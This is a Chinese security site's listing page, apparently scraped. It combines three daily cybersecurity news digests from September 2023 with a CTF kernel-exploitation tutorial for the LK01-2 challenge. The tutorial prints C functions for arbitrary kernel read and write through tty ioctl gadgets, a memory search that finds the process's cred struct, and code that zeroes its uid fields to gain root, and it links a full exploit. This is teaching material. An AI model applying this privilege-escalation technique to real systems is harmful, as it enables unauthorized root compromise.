以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月18日
1、APT33组织利用密码喷洒攻击针对美国卫星国防机构
https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/ 研究人员表示,自 2023 年 2 月以来,一个伊朗支持的威胁组织已针对美国和世界各地的数千个组织发起了密码喷洒攻击。国家黑客还从国防、卫星和制药领域的有限数量的受害者那里窃取了敏感信息。该网络间谍组织被追踪为 APT33(又名 Peach Sandstorm、HOLMIUM 或 Refine
2、攻击者滥用Google广告冒充知名品牌传播DanaBot僵尸网络
https://www.malwarebytes.com/blog/threat-intelligence/2023/09/ongoing-webex-malvertising-drops-batloader 威胁行为者利用 Google Ads 跟踪模板作为漏洞来创建令人信服的 Webex 软件搜索广告,将用户重定向到分发 BatLoader 恶意软件的网站。Webex 是一个视频会议和联络中心套件,是思科协作产品组合的一部分,被全球的公司和企业使用。恶意广告活动已在 Google 搜索中活跃一周,攻击者似乎来自墨西哥。恶意 Google 广告冒充官方 Webex 下载门户,在“webex
3、新西兰地方交通局疑似因勒索软件攻击大范围停电
https://at.govt.nz/bus-train-ferry/service-announcements/at-hop-technical-outage 新西兰奥克兰交通局 (AT) 正在处理因网络事件造成的大范围停电,影响了广泛的客户服务。AT 是奥克兰地区政府拥有的地区交通管理局,负责渡轮、公共汽车和火车等公共交通,以及设计和建设道路和其他基础设施。该公司今天宣布,由于网络事件影响了部分网络,其 HOP 服务(集成票务和票价系统)遇到问题。AT 服务已因攻击而受到影响。例如,在线充值以及使用 AT 网站上的 MyAT HOP 的其他 AT HOP 服务。售票机和充值机仅接受现金付
4、英国曼彻斯特警察数据在勒索软件攻击中泄露
https://www.gmp.police.uk/news/greater-manchester/news/news/2023/september/greater-manchester-police-statement-on-data-breach/ 英国大曼彻斯特警察局 (GMP) 今天早些时候表示,其部分员工的个人信息受到第三方供应商勒索软件攻击的影响。今天发布的声明中未提及受影响的组织,该组织是 GMP 和英国其他组织的服务供应商。GMP 认为被黑客入侵的系统上的数据不包含属于警察局员工的财务信息。助理警长称,他们意识到勒索软件攻击影响了英国各个组织的第三方供应商,其中包括 GMP,
5、美国联邦政府警告医疗保健部门警惕Akira勒索软件威胁
https://www.healthcareinfosecurity.com/feds-warn-healthcare-sector-akira-ransomware-threats-a-23073 联邦当局就 Akira 构成的威胁向卫生部门发出警告,Akira 是一个勒索软件即服务组织,大约六个月前出现,与许多行业中以中小型实体为主的数十起攻击有关。美国卫生与公众服务部卫生部门网络安全协调中心在周二发布的威胁警报中表示,该组织似乎更青睐尚未在虚拟专用网络上部署多因素身份验证的组织。Akira 进行双重勒索攻击,涉及数据盗窃,然后进行勒索软件加密,似乎通过多种方法获得初始恶意软件交付,包括
6、研究人员发现ncurses库中影响Linux和macOS系统的漏洞
https://thehackernews.com/2023/09/microsoft-uncovers-flaws-in-ncurses.html 在ncurses(新的curses的缩写)编程库中发现了一组内存损坏缺陷,威胁者可以利用这些缺陷在易受攻击的 Linux 和 macOS 系统上运行恶意代码。通过篡改环境变量,攻击者可以串联这些漏洞来提升权限并在目标程序的上下文中运行代码或执行其他恶意操作。这些漏洞统称为CVE-2023-29491(CVSS 评分为 7.8),已于 2023 年 4 月得到解决。微软表示,它还与苹果合作解决与这些缺陷相关的 macOS 特定问题。环境变量是用户
7、荷兰足球协会承认为被盗员工数据向攻击者支付赎金
https://therecord.media/dutch-football-association-paid-ransom-lockbit 荷兰足球管理机构本周表示,它已向今年早些时候入侵其系统并窃取超过 120 万名员工和会员敏感数据的黑客支付了赎金。荷兰皇家足球协会 (KNVB) 并未透露赎金金额有多大,但它证实, LockBit 勒索软件团伙确实是此次攻击的幕后黑手。总部位于宰斯特的 KNVB 负责管理该国主要的职业联赛、荷兰男子和女子国家队、荷兰杯和业余联赛。4 月份,KNVB 领导层宣布了这一事件,称该组织的业务运营没有受到影响,但入侵者已经获取了个人数据。荷兰执法机构和荷兰数据
8、米高梅ESXi服务器遭遇勒索软件加密攻击
https://www.bleepingcomputer.com/news/security/mgm-casinos-esxi-servers-allegedly-encrypted-in-ransomware-attack/ BlackCat 勒索软件组织的一个附属机构(也称为 APLHV)是此次攻击的幕后黑手,该攻击扰乱了米高梅度假村的运营,迫使该公司关闭 IT 系统。BlackCat 勒索软件组织在今天的一份声明中声称,自周五以来,他们已经渗透到 MGM 的基础设施中,并在该公司摧毁了内部基础设施后对 100 多个 ESXi 虚拟机管理程序进行了加密。该攻击组织表示,他们已经从网络中窃
9、凯撒娱乐公司向攻击者支付赎金避免被盗数据泄露
https://www.wsj.com/business/hospitality/caesars-paid-ransom-after-suffering-cyberattack-7792c7f0 凯撒娱乐公司自称是美国最大的连锁赌场,拥有业内最广泛的忠诚度计划,该公司表示,它支付了赎金,以避免在最近的网络攻击中被盗的客户数据在线泄露。Caesars 于 9 月 7 日发现,攻击者窃取了其忠诚度计划数据库,该数据库存储了许多客户的驾驶执照号码和社会安全号码。凯撒周四向美国证券交易委员会提交的一份 8-K 表格称,凯撒娱乐仍在调查未经授权的行为者获取的文件中包含的任何其他个人或其他敏感信息的范围
10、TIKTOK 因儿童隐私问题被爱尔兰 DPC 罚款 3.45 亿欧元
https://securityaffairs.com/150918/breaking-news/tiktok-fined-e345m-irish-dpc.html 爱尔兰数据保护委员会 (DPC)因侵犯儿童隐私而对 TikTok 处以 3.45 亿欧元罚款。爱尔兰数据监管机构发现,这款流行的视频共享应用程序允许成年人向某些与他们没有家庭联系的青少年发送直接消息。DPC 进行的调查显示,TikTok 的“家庭配对”功能存在严重缺陷,可能会被滥用,将儿童账户与“未经验证”的成年人关联起来。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
通过篡改cred结构体实现提权利用
前言
在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。
作者利用任意地址读写分别改写https://h0pe-ay.github.io/%E5%88%A9%E7%94%A8modprobe_path%E6%8F%90%E6%9D%83/以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。
cred结构体
cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
} __randomize_layout;
而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。
在cred的结构体存在uid、gid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。
那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。
这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下:
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。
prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2 到 arg5。不同的 option 值对应于不同的控制操作。
以下是一些常见的 option 值和它们的用途:
PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。
PR_GET_NAME:获取进程的名称。
PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。
PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。
PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。
PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。
PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。
PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。
PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。
PR_SET_DUMPABLE:设置进程的核心转储状态。
PR_GET_DUMPABLE:获取进程的核心转储状态。
PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。
PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。
ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名
那么利用cred结构体的提权流程如下:
具有任意地址读写的操作
使用prctl函数将进程名设置为关键字
使用任意地址在内核内存中搜索关键字,获取cred结构体的地址
使用任意地址写修改cred结构体标识符的值,全修改为0
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR&AAW&
题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。
...
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = 0xaaaaaa;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++)
ioctl(spray[i], 0x1234, 0x5678);
...
正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCX与RSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。
那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。
任意地址读
这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。
搜索的表达式为cat g | grep "mov .* \[rdx\];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。
为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。
//0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
int aar(unsigned long addr)
{
int result;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aar;
write(fd, buf, 0x500);
if (cache_fd == -1)
{
for (int i = 0; i < 100; i++) {
result = ioctl(spray[i], 0, addr);
if (result != -1)
{
cache_fd = spray[i];
return result;
}
}
}
else
return(result = ioctl(cache_fd, 0, addr));
}
任意地址写
任意地址写的gadget搜索思路与任意地址读一致,同样是将rdx作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;"
//0xffffffff810477f7: mov qword ptr [rdx], rcx; ret;
void aaw(unsigned long target_addr, unsigned long data)
{
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aaw;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], target_addr, data);
}
}
cred结构体的搜索与改写
首先是将当前进程名设置为一个关键字
prctl(PR_SET_NAME, "h0pe-ay!");
然后就是在内存中搜索该关键字,由于task_struct结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf的地址,然后往前搜索,因为cred结构体会先于g_buf创建。这里需要注意的是需要将进程名改为小端,这里记录一下python从字符串转为16进制的脚本,因为每次都忘记了。
#从字符串转化为十六进制>>> text = "h0pe-ay!">>> hex_string = text.encode('utf-8').hex()>>> print(hex_string)683070652d617921#从十六进制转化为16进制hex_string = "65703068"bytes_obj = bytes.fromhex(hex_string)print(bytes_obj)
接下来就是搜索内存了,需要注意以下几点
使用小端序进行比较
需要从g_buf地址往前搜索
由于每次只能泄露4字节数据,因此需要泄露两次
在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。
for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8) { if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d) { printf("[+] found!\n"); printf("addr:0x%lx\n", addr); cred_addr = aar(addr - 4); cred_addr = (cred_addr << 32) | aar(addr - 8); printf("cred_addr:0x%lx\n", cred_addr); break; } }
最后就是改写cred结构体了,只需要将所有标识符修改为0即可,接着拿shell即可
for (int i = 1; i < 9; i++) aaw(0, cred_addr + i*4);
完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR&AAW/exp.c&
网络安全日报 2023年09月15日
1、俄罗斯记者的苹果手机遭到零点击间谍软件(Pegasus)的攻击
https://thehackernews.com/2023/09/russian-journalists-iphone-compromised.html 俄罗斯著名记者兼政府批评者 Galina Timchenko 的 iPhone 遭到了 NSO Group 的 Pegasus 间谍软件的攻击。据说渗透发生在 2023 年 2 月 10 日左右。目前尚不清楚是谁在设备上部署了恶意软件。在感染期间,她的设备定位于 GMT+1 时区,她报告说她在德国柏林。感染后的第二天,她计划与在欧洲的其他俄罗斯独立媒体负责人一起参加一次私人会议,讨论如何应对普京政权的威胁和审查制度。此次泄露是通过一种名为
2、Rollbar公司披露黑客窃取其访问令牌后导致数据泄露
https://twitter.com/troyhunt/status/1700531521835454502 软件错误跟踪公司 Rollbar 在 8 月初未知攻击者入侵其系统并获得客户访问令牌后,披露了一次数据泄露事件。Rollbar 于 9 月 6 日在审查数据仓库日志时发现了这一安全漏洞,该日志显示服务帐户被用来登录基于云的错误监控平台。一旦进入 Rollbar 的系统,威胁行为者就会在该公司的数据中搜索云凭证和比特币钱包。Rollbar 的后续调查发现,攻击者在 2023 年 8 月9 日至 8 月11日的三天内访问了其系统。在 Rollbar 的服务器内部,他们访问了敏感的客户信
3、研究人员披露Gamaredon组织的基础设施
https://www.silentpush.com/blog/from-russia-with-a-71 Gamaredon(也称为 Primitive Bear、Actinium 或 Shuckworm)是一个俄罗斯高级持续威胁 (APT) 组织,至少自 2013 年以来一直活跃,历史上遍及美国和印度次大陆,最近又在乌克兰,包括据报道对乌克兰发动的攻击西方政府实体。Gamaredon 是一个高度好战的威胁组织,他们与其他 APT 组织使用的标准打了就跑的战术不同,它传播严重混淆且具有独特攻击性的持续攻击。该组织利用鱼叉式网络钓鱼和社会工程来传播隐藏在 MS Word 文档中的恶意软件。一
4、腾讯QQ平台“小世界”版块存在大量色情等违法信息被罚100万
https://www.freebuf.com/news/378038.html 近日,针对腾讯QQ平台“小世界”版块存在大量色情等违法信息,危害未成年人身心健康问题,国家网信办指导广东省网信办,依法约谈腾讯公司相关负责人,依据《未成年人保护法》第一百二十七条,实施行政处罚,责令暂停“小世界”版块信息更新30日,没收违法所得并处100万元罚款。
5、Microsoft警告新的网络钓鱼活动通过Teams消息针对公司
https://thehackernews.com/2023/09/microsoft-warns-of-new-phishing.html Microsoft警告说,初始访问代理将进行新的网络钓鱼活动,该活动涉及使用Teams消息作为诱饵渗透公司网络。
6、以太坊联合创始人Buterin的X帐户在T-Mobile SIM卡交换中被黑客入侵
https://cybernews.com/security/ethereums-buterin-says-x-account-hacked-in-t-mobile-sim-swap/ 以太坊联合创始人Vitalik Buterin表示,有人“通过社会工程”T-Mobile接管了他的电话号码,这足以入侵他的X(Twitter)帐户。
7、斯里兰卡国家政务云被黑,近 4 个月数据丢失
https://www.secrss.com/articles/58734 使用“停服”软件、遭遇勒索软件攻击、缺失数据备份计划,多种因素叠加,导致斯里兰卡政府云系统丢失了近 4 个月的数据。
8、RedLine 和 Vidar 窃取者滥用 EV 证书分发窃密恶意软件和勒索软件
https://www.trendmicro.com/en_us/research/23/i/redline-vidar-first-abuses-ev-certificates.html 威胁行为者正在使用 EV 代码签名证书来分发信息窃取恶意软件和勒索软件,这表明操作的简化和更强大的安全措施的需要。
9、SAP 修补了影响 NetWeaver、S/4HANA 的严重漏洞
https://www.securityweek.com/sap-patches-critical-vulnerability-impacting-netweaver-s-4hana/ 本月发布的 SAP 安全说明中有五项被评为“热点新闻”,这是这家德国软件公司的最高评级。不过,其中三个是之前发布的安全说明的更新。
10、APT36组织利用ElizaRAT恶意软件针对印度政府部门发起网络攻击
https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal 2023 年 7 月,研究人员发现巴基斯坦高级持续威胁组织 (APT36) 持续进行的新恶意活动。APT36 是一个复杂的网络威胁组织,有在南亚开展有针对性的间谍活动的历史。研究人员观察到 APT36 针对印度政府部门使用了以前未记录的 Windows RAT、新的 Linux 网络间谍实用程序、新的分发机制以及针对 Linux 环境的新攻击向量。 APT36 组织使用的自定义 RAT(称为 ElizaRAT)已合并到该组织工具包中。Eli
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月14日
1、新型Go语言窃密木马MetaStealer针对macOS平台发起攻击
https://www.sentinelone.com/blog/macos-metastealer-new-family-of-obfuscated-go-infostealers-spread-in-targeted-attacks/ 在过去的几个月里,研究人员一直在跟踪被命名为MetaStealer木马家族的一系列信息窃密攻击活动,已经观察到的许多 MetaStealer家族样本都存在于在磁盘映像格式(.dmg)中包含的恶意应用程序包中,磁盘映像使用以下名称如“Advertising terms of reference (MacOS presentation).dmg”、“CONCE
2、攻击者利用Remcos远控针对哥伦比亚企业发起大规模钓鱼攻击
https://research.checkpoint.com/2023/guarding-against-the-unseen-investigating-a-stealthy-remcos-malware-attack-on-colombian-firms/ 研究人员近期发现一批针对哥伦比亚多个行业40多家知名公司的大规模网络钓鱼活动,攻击者以紧急通知、逾期债务报告或诱人的报价等欺骗性题材向目标发送恶意电子邮件,通过各种形式的恶意附件文件诱导受害者点击运行,最终在受害者的计算机上谨慎地安装臭名昭著的“Remcos”恶意软件。Remcos是一种复杂远程控制木马,它使攻击者能够完全控制受感染
3、Linux 应用 Free Download Manager 被秘密植入后门三年之久
https://securelist.com/backdoored-free-download-manager-linux-malware/110465/ 研究人员发现一批可疑域名托管名为“Free Download Manager”软件的Debian存储库,该Debian软件包包含受感染的postinst脚本,脚本运行时将两个ELF文件放入路径/var/tmp/crond和/var/tmp/bs,然后创建一个cron任务每隔10分钟启动后门程序/var/tmp/crond。crond后门向C2域名发出A类DNS请求,启动反向shell与C2服务器通信,最后攻击者通过反向shell部署Bas
4、研究人员发现基于Rust语言编写的新型勒索软件
https://thehackernews.com/2023/09/rust-written-3am-ransomware-sneak-peek.html 研究人员在一次安全响应事件中发现了一个名为3AM的新型勒索软件家族,攻击者在尝试于目标网络中部署LockBit(又名 Bitwise Spider或Syphid)失败后部署了该勒索软件。3AM因其在勒索信中被提及而得名,该软件的加密文件附加扩展名为 .Threeamtime,勒索软件在开始加密文件之前会尝试停止受感染计算机上的多项服务如各种安全和备份相关软件,加密完成符合预定义条件的文件后,它会尝试删除卷影 (VSS) 副本。目前尚不清楚
5、微软发布补丁修复两个正被在野积极利用的零日漏洞
https://thehackernews.com/2023/09/microsoft-releases-patch-for-two-new.html 近日微软发布软件修复程序来修复其产品组合中的59个错误,其中包括两个已被恶意网络攻击者积极利用的零日漏洞,分别是CVE-2023-36761(Microsoft Word 信息泄露漏洞,CVSS评分6.2),以及CVE-2023-36802(Microsoft 流服务代理特权提升漏洞,CVSS评分7.8)。微软在公告中表示,利用CVE-2023-36761漏洞可能会泄露NTLM 哈希值,CVE-2023-36802可能会被滥用获取系统权限,目
6、Mozilla 紧急修补 Firefox 和 Thunderbird 中的 WebP 严重零日漏洞
https://www.freebuf.com/articles/377938.html Mozilla 周二发布了安全更新,修复了 Firefox 和 Thunderbird 中的一个关键零日漏洞。该漏洞被标记为 CVE-2023-4863,是 WebP 图像格式中的堆缓冲区溢出漏洞,在处理特制图像时可能导致任意代码执行。Mozilla 在一份公告中说,打开恶意 WebP 图像可能导致内容进程中的堆缓冲区溢出,这个漏洞在其他产品中被广泛利用。
7、空客遭黑客攻击导致数据泄露
https://www.securityweek.com/airbus-launches-investigation-after-hacker-leaks-data/ 空客公司在一名黑客泄露了据称从这家法国航空航天巨头系统中窃取的信息后展开了调查。网络犯罪情报公司 Hudson Rock 周二报道称,一名在线绰号为“USDoD”的黑客本月早些时候在一个网络犯罪论坛上声称,他们入侵了空中客车公司。
8、新的 Kubernetes 漏洞可对 Windows 端点进行远程攻击
https://thehackernews.com/2023/09/alert-new-kubernetes-vulnerabilities.html 可以利用 Kubernetes 中发现的三个相互关联的高严重性安全漏洞,在集群内的 Windows 端点上以提升的权限实现远程代码执行。这些问题编号为 CVE-2023-3676、CVE-2023-3893和 CVE-2023-3955,CVSS 分数为 8.8,影响所有具有 Windows 节点的 Kubernetes 环境Akamai 于 2023 年 7 月 13 日负责任地披露后,于 2023 年 8 月 23 日发布了这些漏洞的修复
9、Adobe发布补丁修补正被在野主动利用的关键安全漏洞
https://thehackernews.com/2023/09/update-adobe-acrobat-and-reader-to.html Adobe于2023年9月星期二发布的补丁更新附带了针对Acrobat和Reader中被攻击者主动利用的关键安全漏洞,该漏洞的编号为 CVE-2023-26369,CVSS评分严重程度为7.8,影响Windows和macOS版的Acrobat DC、Acrobat Reader DC、Acrobat 2020和 Acrobat Reader 2020等软件,该漏洞被描述为越界写入,成功利用该漏洞可能会实现打开特制的PDF 文档来导致远程执行代码,
10、Windows Update 将在4年内逐步禁止第三方打印机驱动
https://learn.microsoft.com/en-us/windows-hardware/drivers/print/end-of-servicing-plan-for-third-party-printer-drivers-on-windows 微软公布了 Windows Update 在四年内逐步禁用第三方打印机驱动的计划,此举旨在增强 Windows 生态系统的安全性,因为影响数以百计型号的打印机驱动漏洞常常被忽视数年之久,给用户造成严重安全隐患。Windows 未来将默认使用新的打印模式,禁用第三方打印驱动。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

